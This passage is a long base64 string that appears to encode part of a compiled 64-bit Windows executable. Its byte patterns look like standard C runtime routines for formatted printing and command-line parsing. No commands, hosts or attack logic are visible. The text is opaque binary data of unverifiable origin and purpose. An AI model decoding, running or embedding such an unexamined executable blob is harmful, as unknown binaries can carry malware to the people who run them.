cAPhYYAAABIi0QkMEg7x3Uphdt4Kkg733Yl63FNhfZ0Z0iF/3QZhcB5BmZEiSbrD0iLRCQwSDvHdGdmRIkkRkiLjcADAADo3D8AAEyJpcADAABEOGQkWHQMSItMJECDoagDAAD9i8NIi43gAwAASDPM6LXO//9IgcTwBAAAQV9BXkFcX15bXcNIhf91BYPL/+utSItEJDBIO8d1nrv+////ZkSJZH7+65bMzEiJXCQISIlsJBBIiXQkGFdIg+wgSLj/////////f0iL+Ug70HYP6DE/AADHAAwAAAAywOtcM/ZIjSwSSDmxCAQAAHUJSIH9AAQAAHYJSDupAAQAAHcEsAHrN0iLzehSVAAASIvYSIXAdB1Ii48IBAAA6AY/AABIiZ8IBAAAQLYBSImvAAQAADPJ6O4+AABAisZIi1wkMEiLbCQ4SIt0JEBIg8QgX8PMzEiJXCQISIlsJBBIiXQkGFdIg+wgSLj/////////P0iL+Ug70HYP6Ik+AADHAAwAAAAywOtfSIvqM/ZIweUCSDmxCAQAAHUJSIH9AAQAAHYJSDupAAQAAHcEsAHrN0iLzeinUwAASIvYSIXAdB1Ii48IBAAA6Fs+AABIiZ8IBAAAQLYBSImvAAQAADPJ6EM+AABAisZIi1wkMEiLbCQ4SIt0JEBIg8QgX8PMzMxFi8hBg+kCdDJBg+kBdClBg/kJdCNBg/gNdB2D4QRBuO//AAAPlcBmg+pjZkGF0HQMSIXJD5TAw7ABwzLAw8zMSIlcJAhMjVFYQYvYSYuCCAQAAESL2kiFwHUHuAACAADrDUyL0EiLgVgEAABI0ehNjUL/TAPATIlBSItBOIXAfwVFhdt0L//IM9KJQThBi8P384DCMESL2ID6OX4MQYrBNAHA4AUEBwLQSItBSIgQSP9JSOvFRCtBSEiLXCQIRIlBUEj/QUjDzEiJXCQISIuBYAQAAEyL0UiDwVhBi9hEi9pIhcB1B7gAAQAA6w5Ii8hJi4JYBAAASMHoAkiNQP9MjQRBTYlCSEmLwEGLSjiFyX8FRYXbdD8z0o1B/0GJQjhBi8P382aDwjBEi9hmg/o5dg9BisE0AcDgBQQHAsIPvtBJi0JID77KZokISYNCSP5Ji0JI67RIi1wkCEwrwEnR+EWJQlBJg0JIAsPMSIlcJAhIi4FgBAAATIvRSIPBWEGL2EyL2kiFwHUHuAACAADrDUiLyEmLglgEAABI0ehMjUH/TAPATYlCSEGLQjiFwH8FTYXbdDH/yDPSQYlCOEmLw0j384DCMEyL2ID6OX4MQYrBNAHA4AUEBwLQSYtCSIgQSf9KSOvCRStCSEiLXCQIRYlCUEn/QkjDzMzMSIlcJAhIi4FgBAAATIvRSIPBWEGL2EyL2kiFwHUHuAABAADrDkiLyEmLglgEAABIwegCSI1A/0yNBEFNiUJISYvAQYtKOIXJfwVNhdt0QDPSjUH/QYlCOEmLw0j382aDwjBMi9hmg/o5dg9BisE0AcDgBQQHAsIPvtBJi0JID77KZokISYNCSP5Ji0JI67NIi1wkCEwrwEnR+EWJQlBJg0JIAsNFhcAPjoEAAABIi8RIiVgISIloEEiJcBhIiXggQVZIg+wgSYvZRA++8kGL6EiL8TP/SIsGi0gUwekM9sEBdApIiwZIg3gIAHQQSIsWQYvO6NxkAACD+P90Bv8DiwPrBoML/4PI/4P4/3QG/8c7/XzBSItcJDBIi2wkOEiLdCRASIt8JEhIg8QgQV7DzEWFwH5wSIlcJAhIiXwkEEWLEUiL2Q+++kUz20iLE0iLQghIOUIQdRSAehgAdAVB/8LrBEGDyv9FiRHrIUGNQgFBiQFIiwNI/0AQSIsDSIsIZok5SIsDSIMAAkWLEUGD+v90CEH/w0U72HywSItcJAhIi3wkEMPMzEiJXCQQSIl0JBhVV0FWSI2sJDD8//9IgezQBAAASIsFVJsBAEgzxEiJhcADAABIiwFIi9lIizhIi8/oZWQAAEiLUwhIjUwkIECK8EiLEujx9v//SItTIEiNRCQoSIsLRTP2TIsSSIsJSItTGEyLCkiLUxBMiwJIiY2oAwAASI1MJEBMiXQkUEyJdCRoTIl0JHBEiXQkeGZEiXWARIl1kESIdZRMibWYAwAATIm1oAMAAEyJRCRASIlEJEhMiUwkWEyJVCRgRIm1sAMAAOjHAgAASIuNoAMAAIvY6KU5AABMibWgAwAARDh0JDh0DEiLTCQgg6GoAwAA/UiL10CKzuhoZAAAi8NIi43AAwAASDPM6HPI//9MjZwk0AQAAEmLWyhJi3MwSYvjQV5fXcPMzMzMzMzMzMzMzEiLAkiLkPgAAABIiwJED7YID7YBhMB0Hg+20A8fRAAAD7bCQTrRdA4PtkEBSP/BD7bQhMB16kj/wYTAdFUPtgGEwHQRLEWo33QLD7ZBAUj/wYTAde8PtkH/TIvBSP/JPDB1Cw+2Qf9I/8k8MHT1QTrBSI1R/0gPRdEPH4AAAAAAQQ+2AEiNUgGIAk2NQAGEwHXuw8zMzMzMzMzMzMzMzMxMiwpED7YBSYuREAEAAEGAPBBldBpJiwEPH4QAAAAAAEQPtkEBSP/BQvYEQAR18UEPtsCAPBB4dQVED7ZBAkmLgfgAAABIjVECSA9F0UiLCA+2AYgCSI1CAQ8fgAAAAAAPtghBD7bQRIgASI1AAUQPtsGE0nXqw8xIiVwkEEiJbCQYVldBVkiD7CBIi1kQTIvySIv5SIXbdQzo7jcAAEiL2EiJRxCLK0iNVCRAgyMAvgEAAABIi08YSINkJEAASCvORI1GCeh6TQAAQYkGSItHEEiFwHUJ6LE3AABIiUcQgzgidBFIi0QkQEg7RxhyBkiJRxjrA0Ay9oM7AHUGhe10AokrSItcJEhAisZIi2wkUEiDxCBBXl9ew8zMzEiJXCQQSIl0JBhIiXwkIEFWSIPsIEiLWRBMi/JIi/lIhdt1DOhHNwAASIvYSIlHEIszSI1UJDCDIwBBuAoAAABIi08YSINkJDAASIPpAugBTQAAQYkGSItHEEiFwHUJ6Aw3AABIiUcQgzgidBNIi0QkMEg7RxhyCEiJRxiwAesCMsCDOwB1BoX2dAKJM0iLXCQ4SIt0JEBIi3wkSEiDxCBBXsPMSIlcJAhIiXwkEEFWSIPsIEiL2YPP/0iLiWgEAABIhcl1I+ilNgAAxwAWAAAA6Ho1AACLx0iLXCQwSIt8JDhIg8QgQV7D6AoZAACEwHTkSIN7GAB1FehyNgAAxwAWAAAA6Ec1AACDyP/ryv+DcAQAAIO7cAQAAAIPhI4BAABMjTWM+gAAg2NQAINjLADpUgEAAEj/QxiDeygAD4xZAQAASA++U0GNQuA8WncOSI1C4IPgf0GLTMYE6wIzyYtDLI0MyIPhf0GLBM6JQyyD+AgPhE7///+FwA+E9wAAAIPoAQ+E1QAAAIPoAQ+ElwAAAIPoAXRng+gBdFmD6AF0KIPoAXQWg/gBD4Un////SIvL6JEHAADpwwAAAEiLy+iABAAA6bYAAACA+ip0EUiNUzhIi8vogv3//+mgAAAASINDIAhIi0Mgi0j4hckPSM+JSzjrMINjOADpiQAAAID6KnQGSI1TNOvJSINDIAhIi0Mgi0j4iUs0hcl5CYNLMAT32YlLNLAB61aKwoD6IHQoPCN0HjwrdBQ8LXQKPDB1R4NLMAjrQYNLMATrO4NLMAHrNYNLMCDrL4NLMALrKYNjNACDYzAAg2M8AMZDQACJezjGQ1QA6xBIi8vosQIAAITAD4RP/v//SItDGIoIiEtBhMkPhZ3+//9I/0MY/4NwBAAAg7twBAAAAg+Fef7//4tDKOkh/v//zEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7CCDz/8z9kiL2Ug5sWgEAAAPhDUCAABIOXEYdRfofzQAAMcAFgAAAOhUMwAAC8fp/QEAAP+BcAQAAIO5cAQAAAIPhOcBAAC9IAAAAEyNNZL8AACJc1CJcyzpmQEAAEiDQxgCOXMoD4ykAQAAD7dTQg+3wmYrxWaD+Fp3DkiNQuCD4H9Bi0zGBOsCi86NBMkDQyyD4H9BiwzGiUssg/kID4SnAQAAhckPhAABAACD6QEPhOMAAACD6QEPhKAAAACD6QF0aoPpAXRdg+kBdCiD6QF0FoP5AQ+FgAEAAEiLy+gZCAAA6QoBAABIi8vo9AMAAOn9AAAAZoP6KnQRSI1TOEiLy+gp/P//6eYAAABIg0MgCEiLQyCLSPiFyQ9Iz4lLOOnLAAAAiXM46ckAAABmg/oqdAZIjVM068ZIg0MgCEiLQyCLSPiJSzSFyQ+JoAAAAINLMAT32YlLNOmSAAAAZjvVdC9mg/ojdCRmg/ordBhmg/otdAxmg/owdXuDSzAI63WDSzAE62+DSzAB62kJazDrZINLMALrXkiJczBAiHNAiXs4iXM8QIhzVOtKxkNUAUiLi2gEAABIi0EISDlBEHUQQDhxGHQF/0Mo6ySJeyjrH/9DKEj/QRBIi4NoBAAASIsIZokRSIuDaAQAAEiDAAKwAYTAdGVIi0MYD7cIZolLQmaFyQ+FU/7//0iDQxgCOXMsdAaDeywHdTH/g3AEAACDu3AEAAACD4Ul/v//i0MoSItcJDBIi2wkOEiLdCRASIt8JEhIg8QgQV7D6FAyAADHABYAAADoJTEAAIvH69HMQFNIg+wgM9JIi9noYAAAAITAdERIi4NoBAAAD75TQYtIFMHpDPbBAXQOSIuDaAQAAEiDeAgAdBOLykiLk2gEAADowlsAAIP4/3QF/0Mo6wSDSyj/sAHrEujjMQAAxwAWAAAA6LgwAAAywEiDxCBbw0BTSIPsIEwPvkFBSIvZxkFUAEGD+P98F0iLQQhIiwBIiwBCD7cMQIHhAIAAAOsCM8mFyXRlSIuDaAQAAItQFMHqDPbCAXQOSIuDaAQAAEiDeAgAdBRIi5NoBAAAQYvI6DRbAACD+P90Bf9DKOsEg0so/0iLQxiKCEj/wIhLQUiJQxiEyXUU6EUxAADHABYAAADoGjAAADLA6wKwAUiDxCBbw8zMSIPsKIpBQTxGdRn2AQgPhVIBAADHQSwHAAAASIPEKOngAgAAPE51J/YBCA+FNQEAAMdBLAgAAADo7zAAAMcAFgAAAOjELwAAMsDpGQEAAIN5PAB14zxJD4SwAAAAPEwPhJ8AAAA8VA+EjgAAADxodGw8anRcPGx0NDx0dCQ8d3QUPHoPhd0AAADHQTwGAAAA6dEAAADHQTwMAAAA6cUAAADHQTwHAAAA6bkAAABIi0EYgDhsdQ5I/8BIiUEYuAQAAADrBbgDAAAAiUE86ZUAAADHQTwFAAAA6YkAAABIi0EYgDhodQ5I/8BIiUEYuAEAAADr1bgCAAAA687HQTwNAAAA62LHQTwIAAAA61lIi1EYigI8M3UXgHoBMnURSI1CAsdBPAoAAABIiUEY6zg8NnUXgHoBNHURSI1CAsdBPAsAAABIiUEY6x0sWDwgdxdIugEQgiABAAAASA+jwnMHx0E8CQAAALABSIPEKMPMzMxIg+woD7dBQmaD+EZ1GfYBCA+FdQEAAMdBLAcAAABIg8Qo6fEDAABmg/hOdSf2AQgPhVYBAADHQSwIAAAA6HovAADHABYAAADoTy4AADLA6ToBAACDeTwAdeNmg/hJD4TEAAAAZoP4TA+EsQAAAGaD+FQPhJ4AAABmg/hodHhmg/hqdGZmg/hsdDpmg/h0dChmg/h3dBZmg/h6D4XsAAAAx0E8BgAAAOngAAAAx0E8DAAAAOnUAAAAx0E8BwAAAOnIAAAASItBGGaDOGx1D0iDwAJIiUEYuAQAAADrBbgDAAAAiUE86aIAAADHQTwFAAAA6ZYAAABIi0EYZoM4aHUPSIPAAkiJQRi4AQAAAOvTuAIAAADrzMdBPA0AAADrbcdBPAgAAADrZEiLURgPtwJmg/gzdRhmg3oCMnURSI1CBMdBPAoAAABIiUEY6z9mg/g2dRhmg3oCNHURSI1CBMdBPAsAAABIiUEY6yFmg+hYZoP4IHcXSLoBEIIgAQAAAEgPo8JzB8dBPAkAAACwAUiDxCjDzEiJXCQQSIlsJBhIiXQkIFdBVkFXSIPsMIpBQUiL2UG/AQAAAEC2eEC1WEG2QTxkf1YPhLwAAABBOsYPhMYAAAA8Q3QtPEQPjsMAAAA8Rw+OsgAAADxTdFdAOsV0ZzxadBw8YQ+EnQAAADxjD4WeAAAAM9Lo2AkAAOmOAAAA6EIFAADphAAAADxnfns8aXRkPG50WTxvdDc8cHQbPHN0EDx1dFRAOsZ1Z7oQAAAA603onA4AAOtVx0E4EAAAAMdBPAsAAABFise6EAAAAOsxi0kwi8HB6AVBhMd0Bw+66QeJSzC6CAAAAEiLy+sQ6NcNAADrGINJMBC6CgAAAEUzwOi8CgAA6wXoqQUAAITAdQcywOlVAQAAgHtAAA+FSAEAAItTMDPAZolEJFAz/4hEJFKLwsHoBEGEx3Qui8LB6AZBhMd0B8ZEJFAt6xpBhNd0B8ZEJFAr6w6LwtHoQYTHdAjGRCRQIEmL/4pLQYrBQCrFqN91D4vCwegFQYTHdAVFisfrA0UywIrBQSrGqN8PlMBFhMB1BITAdBvGRDxQMEA6zXQFQTrOdQNAivVAiHQ8UUiDxwKLazQra1Ar7/bCDHUVTI1LKESLxUiNi2gEAACyIOjq8P//TI2zaAQAAEmLBkiNcyiLSBTB6QxBhM90DkmLBkiDeAgAdQQBPuscSI1DEEyLzkSLx0iJRCQgSI1UJFBJi87o5xEAAItLMIvBwegDQYTHdBjB6QJBhM91EEyLzkSLxbIwSYvO6ILw//8z0kiLy+gEDwAAgz4AfBuLSzDB6QJBhM90EEyLzkSLxbIgSYvO6Fjw//9BisdIi1wkWEiLbCRgSIt0JGhIg8QwQV9BXl/DSIlcJBBIiWwkGEiJdCQgV0FUQVVBVkFXSIPsQEiLBZWMAQBIM8RIiUQkOA+3QUK+eAAAAEiL2Y1u4ESNfolmg/hkd2UPhN0AAABmg/hBD4TmAAAAZoP4Q3Q5ZoP4RA+G3wAAAGaD+EcPhswAAABmg/hTdG9mO8V0f2aD+Fp0IGaD+GEPhLEAAABmg/hjD4WwAAAAM9Lo+gcAAOmgAAAA6BADAADplgAAAGaD+GcPhocAAABmg/hpdG5mg/hudGFmg/hvdD1mg/hwdB9mg/hzdBJmg/h1dFRmO8Z1Z7oQAAAA603ofAwAAOtVx0E4EAAAAMdBPAsAAABFise6EAAAAOsxi0kwi8HB6AVBhMd0Bw+66QeJSzC6CAAAAEiLy+sQ6B8LAADrGINJMBC6CgAAAEUzwOiECQAA6wXorQQAAITAdQcywOlVAQAAgHtAAA+FSAEAAItTMDPAiUQkMDP/ZolEJDSLwsHoBESNbyBBhMd0MovCwegGQYTHdAqNRy1miUQkMOsbQYTXdAe4KwAAAOvti8LR6EGEx3QJZkSJbCQwSYv/D7dLQkG53/8AAA+3wWYrxWZBhcF1D4vCwegFQYTHdAVFisfrA0UywI1Bv0G8MAAAAGZBhcEPlMBFhMB1BITAdB1mRIlkfDBmO810BmaD+UF1Aw+39WaJdHwySIPHAotrNEyNcygra1BIjbNoBAAAK+/2wgx1EU2LzkSLxUGK1UiLzuid7v//SI1DEE2LzkSLx0iJRCQgSI1UJDBIi87ojQ4AAItLMIvBwegDQYTHdBnB6QJBhM91EU2LzkSLxUGK1EiLzuhb7v//M9JIi8vodQ0AAEyNSyhBgzkAfBtEi1MwQcHqAkWE13QORIvFQYrVSIvO6Czu//9BisdIi0wkOEgzzOgcuP//TI1cJEBJi1s4SYtrQEmLc0hJi+NBX0FeQV1BXF/DzMzMzMzMzMzMzMzMzMyD+Qt3LkhjwUiNFdGZ//+LjIJYZgAASAPK/+G4AQAAAMO4AgAAAMO4BAAAAMO4CAAAAMMzwMNmkEdmAAA7ZgAAQWYAAEdmAABNZgAATWYAAE1mAABNZgAAU2YAAE1mAABHZgAATWYAAEiDQSAISItBIEyLQPhNhcB0R02LSAhNhcl0PotRPIPqAnQgg+oBdBeD+gl0EoN5PA10EIpBQSxjqO8PlcLrBrIB6wIy0kyJSUhBD7cAhNJ0GMZBVAHR6OsUSI0VWPQAALgGAAAASIlRSMZBVACJQVCwAcPMSIlcJAhIiXQkEFdIg+wgSINBIAhIi9lIi0EgSIt4+EiF/3QsSIt3CEiF9nQjRItBPA+3UUJIiwnoq+n//0iJc0gPtw+EwHQYxkNUAdHp6xRIjQ3t8wAASIlLSLkGAAAAxkNUAIlLULABSItcJDBIi3QkOEiDxCBfw8zMzEiJXCQQV0iD7FCDSTAQSIvZi0E4hcB5FopBQSxBJN/22BvAg+D5g8ANiUE46xx1GoB5QWd0CDPAgHlBR3UMx0E4AQAAALgBAAAASI15WAVdAQAASGPQSIvP6Lrn//9BuAACAACEwHUhSIO7YAQAAAB1BUGLwOsKSIuDWAQAAEjR6AWj/v//iUM4SIuHCAQAAEiFwEgPRMdIiUNISINDIAhIi0MgSIuLYAQAAPIPEED48g8RRCRgSIXJdQVJi9DrCkiLk1gEAABI0epIhcl1CUyNi1gCAADrGkyLi1gEAABIi/lMi4NYBAAASdHpTAPJSdHoSItDCA++S0HHRCRIAQAAAEiJRCRASIsDSIlEJDiLQziJRCQwiUwkKEiNTCRgSIlUJCBIi9fosEwAAItDMMHoBagBdBODezgAdQ1Ii1MISItLSOif7f//ikNBLEeo33UXi0MwwegFqAF1DUiLUwhIi0tI6N/s//9Ii0tIigE8LXUNg0swQEj/wUiJS0iKASxJPCV3GEi6IQAAACEAAABID6PCcwiDYzD3xkNBc0iDyv9I/8KAPBEAdfeJU1CwAUiLXCRoSIPEUF/DzEiJXCQQSIl8JBhBVkiD7FCDSTAQSIvZi0E4Qb7f/wAAhcB5HA+3QUJmg+hBZkEjxmb32BvAg+D5g8ANiUE46x51HGaDeUJndAkzwGaDeUJHdQzHQTgBAAAAuAEAAABIjXlYBV0BAABIY9BIi8/o6uX//0G4AAIAAITAdSFIg7tgBAAAAHUFQYvA6wpIi4NYBAAASNHoBaP+//+JQzhIi4cIBAAASIXASA9Ex0iJQ0hIg0MgCEiLQyBIi4tgBAAA8g8QQPjyDxFEJGBIhcl1BUmL0OsKSIuTWAQAAEjR6kiFyXUJTI2LWAIAAOsaTIuLWAQAAEiL+UyLg1gEAABJ0elMA8lJ0ehIi0MID75LQsdEJEgBAAAASIlEJEBIiwNIiUQkOItDOIlEJDCJTCQoSI1MJGBIiVQkIEiL1+jgSgAAi0MwwegFqAF0E4N7OAB1DUiLUwhIi0tI6M/r//8Pt0NCZoPoR2ZBhcZ1F4tDMMHoBagBdQ1Ii1MISItLSOgK6///SItLSIoBPC11DYNLMEBI/8FIiUtIigEsSTwldx1IuiEAAAAhAAAASA+jwnMNg2Mw97hzAAAAZolDQkiDyv9I/8KAPBEAdfdIi3wkcLABiVNQSItcJGhIg8RQQV7DzEBTSIPsMEiL2YtJPIPpAnQcg+kBdB2D+Ql0GIN7PA10XopDQSxjqO8PlcDrAjLAhMB0TEiDQyAISItDIEiLk2AEAABED7dI+EiF0nUMQbgAAgAASI1TWOsKTIuDWAQAAEnR6EiLQwhIjUtQSIlEJCDo+zoAAIXAdC7GQ0AB6yhIjUNYTIuACAQAAE2FwEwPRMBIg0MgCEiLSyCKUfhBiBDHQ1ABAAAASI1LWLABSIuRCAQAAEiF0kgPRNFIiVNISIPEMFvDzMzMSIlcJBBIiXQkGFdIg+wgxkFUAUiNeVhIg0EgCEiL2UiLQSBEi0E8D7dRQkiLCQ+3cPjo0eT//0iLjwgEAACEwHUvTItLCEiNVCQwQIh0JDBIhcmIRCQxSA9Ez0mLAUxjQAjouTgAAIXAeRDGQ0AB6wpIhclID0TPZokxSIuPCAQAALABSIt0JEBIhcnHQ1ABAAAASA9Ez0iJS0hIi1wkOEiDxCBfw8zMSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsIEiL2UGK6ItJPESL8uhy+f//SIvISIvwSIPpAXR+SIPpAXRYSIPpAnQ0SIP5BHQX6BsiAADHABYAAADo8CAAADLA6QUBAACLQzBIg0MgCMHoBKgBSItDIEiLePjrXItDMEiDQyAIwegEqAFIi0MgdAZIY3j460OLePjrPotDMEiDQyAIwegEqAFIi0MgdAdID794+OskD7d4+Osei0MwSINDIAjB6ASoAUiLQyB0B0gPvnj46wQPtnj4i0swi8HB6ASoAXQOSIX/eQlI99+DyUCJSzCDezgAfQnHQzgBAAAA6xNIY1M4g+H3iUswSI1LWOj+4f//SIX/dQSDYzDfxkNUAESKzUWLxkiLy0iD/gh1CkiL1+ia5P//6weL1+hl4///i0MwwegHqAF0HYN7UAB0CUiLS0iAOTB0Dkj/S0hIi0tIxgEw/0NQsAFIi1wkMEiLbCQ4SIt0JEBIi3wkSEiDxCBBXsPMSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsIEiL2UGK6ItJPESL8ujy9///SIvISIvwSIPpAXR+SIPpAXRYSIPpAnQ0SIP5BHQX6JsgAADHABYAAADocB8AADLA6QsBAACLQzBIg0MgCMHoBKgBSItDIEiLePjrXItDMEiDQyAIwegEqAFIi0MgdAZIY3j460OLePjrPotDMEiDQyAIwegEqAFIi0MgdAdID794+OskD7d4+Osei0MwSINDIAjB6ASoAUiLQyB0B0gPvnj46wQPtnj4i0swi8HB6ASoAXQOSIX/eQlI99+DyUCJSzCDezgAfQnHQzgBAAAA6xNIY1M4g+H3iUswSI1LWOgm4f//SIX/dQSDYzDfxkNUAUSKzUWLxkiLy0iD/gh1CkiL1+iq4///6weL1+ht4v//i0MwwegHqAF0I4N7UAC4MAAAAHQJSItLSGY5AXQPSINDSP5Ii0tIZokB/0NQsAFIi1wkMEiLbCQ4SIt0JEBIi3wkSEiDxCBBXsPMzMxIiVwkCFdIg+wgSINBIAhIi9lIi0EgSIt4+OghSQAAhcB1FOg4HwAAxwAWAAAA6A0eAAAywOtEi0s86FX2//9Ig+gBdCtIg+gBdBxIg+gCdA9Ig/gEdcxIY0MoSIkH6xWLQyiJB+sOD7dDKGaJB+sFikMoiAfGQ0ABsAFIi1wkMEiDxCBfw8zMQFNIg+wgSINBIAhIi9lIi0EgRItDOEGD+P9Ii0j4uP///3+LUzxED0TASIlLSIPqAnQcg+oBdB2D+gl0GIN7PA10MIpDQSxjqO8PlcDrAjLAhMB0HkiFyXULSI0Nu+oAAEiJS0hJY9DGQ1QB6Os4AADrGEiFyXULSI0NreoAAEiJS0hJY9DogTcAAIlDULABSIPEIFvDzMxIiVwkCEiJdCQQV0iD7CBIg0EgCEiL+UiLQSCLcTiD/v9Ei0E8D7dRQkiLWPi4////f0iJWUgPRPBIiwno99///4TAdCFIhdt1C0iNHTPqAABIiV9ISGPWSIvLxkdUAehgOAAA60xIhdt1C0iNHSLqAABIiV9IRTPJhfZ+MoA7AHQtSItHCA+2E0iLCEiLAUiNSwFED7cEUEGB4ACAAABID0TLQf/BSI1ZAUQ7znzOQYvBiUdQsAFIi1wkMEiLdCQ4SIPEIF/DzEiD7CiLQRTB6AyoAQ+FgQAAAOgBRwAATGPITI0Vy38BAEyNHcSWAQBNi8FBjUECg/gBdhtJi8FJi9FIwfoGg+A/SI0MwEmLBNNIjRTI6wNJi9KAejkAdSdBjUECg/gBdhdJi8BIwfgGQYPgP0mLBMNLjQzATI0UyEH2Qj0BdBTo9BwAAMcAFgAAAOjJGwAAMsDrArABSIPEKMPMzEiJXCQQSIl0JBhXSIPsUEiLBdp9AQBIM8RIiUQkQIB5VABIi9kPhJYAAACDeVAAD46MAAAASItxSDP/SItDCEiNVCQ0RA+3DkiNTCQwg2QkMABIjXYCQbgGAAAASIlEJCDoDjQAAIXAdVFEi0QkMEWFwHRHTI2TaAQAAEmLAkyNSyiLSBTB6Qz2wQF0D0mLAkiDeAgAdQVFAQHrFkiNQxBJi8pIjVQkNEiJRCQg6AICAAD/xzt7UHWC60eDSyj/60FEi0FQTI2RaAQAAEmLAkyNSShIi1FIi0gUwekM9sEBdA9JiwJIg3gIAHUFRQEB6xFIjUMQSYvKSIlEJCDosgEAALABSItMJEBIM8zo76r//0iLXCRoSIt0JHBIg8RQX8PMzMxIiVwkEEiJbCQYSIl0JCBXSIPsMDPtSIvZQDhpVA+FiwAAADlpUA+OggAAAEiLcUiL/UyLSwhIjUwkQGaJbCRASIvWSYsBTGNACOh5MQAATGPAhcB+UkiLi2gEAAAPt1QkQEiLQQhIOUEQdRFAOGkYdAX/QyjrJYNLKP/rH/9DKEj/QRBIi4NoBAAASIsIZokRSIuDaAQAAEiDAAJJA/D/xzt7UHWM6yeDSyj/6yFEi0NQSI1BEEiLU0hMjUkoSIHBaAQAAEiJRCQg6BkAAABIi1wkSLABSItsJFBIi3QkWEiDxDBfw8zMRYXAD4SbAAAASIlcJAhIiWwkEEiJdCQYV0FWQVdIg+wgTIv5SWPwSIsJSYv5SItBCEg5QRB1EYB5GAB0BUEBMetKQYMJ/+tESCtBEEyL9kiLCUg7xkwPQvBLjRw2TIvD6H/B//9JiwdIARhJiwdMAXAQSYsHgHgYAHQEATfrDUw79nQFgw//6wNEATdIi1wkQEiLbCRISIt0JFBIg8QgQV9BXl/DzMzMSIvESIlYCEiJaBBIiXAYSIl4IEFUQVZBV0iD7CBMi3wkYEmL+Ulj6EiL8kyL8UmLH0iF23UL6O0ZAABIi9hJiQdEiyODIwBIA+7rc0mLBg++FotIFMHpDPbBAXQKSYsGSIN4CAB0TovKSYsW6H9DAACD+P91P0mLB0iFwHUI6KUZAABJiQeDOCp1O0mLBotIFMHpDPbBAXQKSYsGSIN4CAB0EkmLFrk/AAAA6EBDAACD+P90BP8H6wODD/9I/8ZIO/V1iOsDgw//gzsAdQhFheR0A0SJI0iLXCRASItsJEhIi3QkUEiLfCRYSIPEIEFfQV5BXMPMzMxAVUiL7EiD7GBIi0UwSIlFwEyJTRhMiUUoSIlVEEiJTSBIhdJ1FegFGQAAxwAWAAAA6NoXAACDyP/rSk2FwHTmSI1FEEiJVchIiUXYTI1NyEiNRRhIiVXQSIlF4EyNRdhIjUUgSIlF6EiNVdBIjUUoSIlF8EiNTTBIjUXASIlF+Og71///SIPEYF3DzEiLxEiJWAhIiWgQSIlwGEiJeCBBVEFVQVdIg+wwRTPtSYvpSYvwSIv6TIvhTDlsJHAPhO0AAABNhcl1FkiF0nUaTYXAD4XaAAAAQYvd6eYAAABIhf8PhMkAAABIhfYPhMAAAABIg8v/6DcYAABMi0wkcEiL10mLzEg79XY+izBMjUUBSIuEJIAAAABIiUQkKEiLRCR4SIlEJCDo1db//4P4/nVd6PsXAACDOCIPhYIAAADo7RcAAIkw63lEizhMi8ZIi4QkgAAAAEiJRCQoSItEJHhIiUQkIOiX1v//ZkSJbHf+g/j+dRlIO+t1GOiyFwAAgzgidUHoqBcAAESJOOs3hcB5G2ZEiS+D+P51KuiRFwAAxwAiAAAA6GYWAADrGIvY6xToexcAAMcAFgAAAOhQFgAASIPL/0iLbCRYi8NIi1wkUEiLdCRgSIt8JGhIg8QwQV9BXUFcw8zMzMdEJBAAAAAAi0QkEOlXFwAAzMzM6YcsAADMzMxIiVwkCEiJbCQQSIl0JBhXSIPsIEiL8ov56FYqAABFM8lIi9hIhcAPhD4BAABIiwhIi8FMjYHAAAAASTvIdA05OHQMSIPAEEk7wHXzSYvBSIXAD4QTAQAATItACE2FwA+EBgEAAEmD+AV1DUyJSAhBjUD86fUAAABJg/gBdQiDyP/p5wAAAEiLawhIiXMIg3gECA+FugAAAEiDwTBIjZGQAAAA6whMiUkISIPBEEg7ynXzgTiNAADAi3sQdHqBOI4AAMB0a4E4jwAAwHRcgTiQAADAdE2BOJEAAMB0PoE4kgAAwHQvgTiTAADAdCCBOLQCAMB0EYE4tQIAwIvXdUC6jQAAAOs2uo4AAADrL7qFAAAA6yi6igAAAOshuoQAAADrGrqBAAAA6xO6hgAAAOsMuoMAAADrBbqCAAAAiVMQuQgAAABJi8D/FfPJAACJexDrEItIBEyJSAhJi8D/Fd7JAABIiWsI6RP///8zwEiLXCQwSItsJDhIi3QkQEiDxCBfw8zMiwVyiAEAw8yJDWqIAQDDzEiLFaV2AQCLykgzFVyIAQCD4T9I08pIhdIPlcDDzMzMSIkNRYgBAMNIixV9dgEATIvBi8pIMxUxiAEAg+E/SNPKSIXSdQMzwMNJi8hIi8JI/yVWyQAAzMxMiwVNdgEATIvJQYvQuUAAAACD4j8ryknTyU0zyEyJDfCHAQDDzMzMSIvESIlYCEiJcBBIiXgYTIlgIEFXTItUJDAz9kmL2UmJMknHAQEAAABIhdJ0B0yJAkiDwghEis5BvCIAAABmRDkhdRFFhMlBD7fEQQ+UwUiDwQLrH0n/Ak2FwHQLD7cBZkGJAEmDwAIPtwFIg8ECZoXAdB1FhMl1xWaD+CB0BmaD+Al1uU2FwHQLZkGJcP7rBEiD6QJAiv5Bv1wAAAAPtwFmhcAPhNQAAABmg/ggdAZmg/gJdQlIg8ECD7cB6+tmhcAPhLYAAABIhdJ0B0yJAkiDwghI/wNBuwEAAACLxusGSIPBAv/ARA+3CWZFO8908GZFO8x1N0GEw3UcQIT/dA1mRDlhAnUGSIPBAusKQIT/RIveQA+Ux9Ho6xL/yE2FwHQIZkWJOEmDwAJJ/wKFwHXqD7cBZoXAdC9AhP91DGaD+CB0JGaD+Al0HkWF23QQTYXAdAhmQYkASYPAAkn/AkiDwQLpbv///02FwHQIZkGJMEmDwAJJ/wLpIP///0iF0nQDSIkySP8DSItcJBBIi3QkGEiLfCQgTItkJChBX8NAU0iD7CBIuP////////8fTIvKSDvIcz0z0kiDyP9J9/BMO8hzL0jB4QNND6/ISIvBSPfQSTvBdhxJA8m6AQAAAOiGDwAAM8lIi9joSBMAAEiLw+sCM8BIg8QgW8PMzMxIiVwkCFVWV0FWQVdIi+xIg+wwM/9Ei/GFyQ+ETwEAAI1B/4P4AXYW6OsSAACNXxaJGOjBEQAAi/vpMQEAAEiNHbeFAQBBuAQBAABIi9Mzyf8VxsUAAEiLNfeHAQBIiR3IhwEASIX2dAVmOT51A0iL80iNRUhIiX1ATI1NQEiJRCQgRTPASIl9SDPSSIvO6G39//9Mi31AQbgCAAAASItVSEmLz+j3/v//SIvYSIXAdRjoYhIAALsMAAAAM8mJGOh0EgAA6W7///9OjQT4SIvTSI1FSEiLzkyNTUBIiUQkIOgb/f//QYP+AXUWi0VA/8hIiR1NhwEAiQU3hwEAM8nraUiNVThIiX04SIvL6JtDAACL8IXAdBlIi0046BgSAABIi8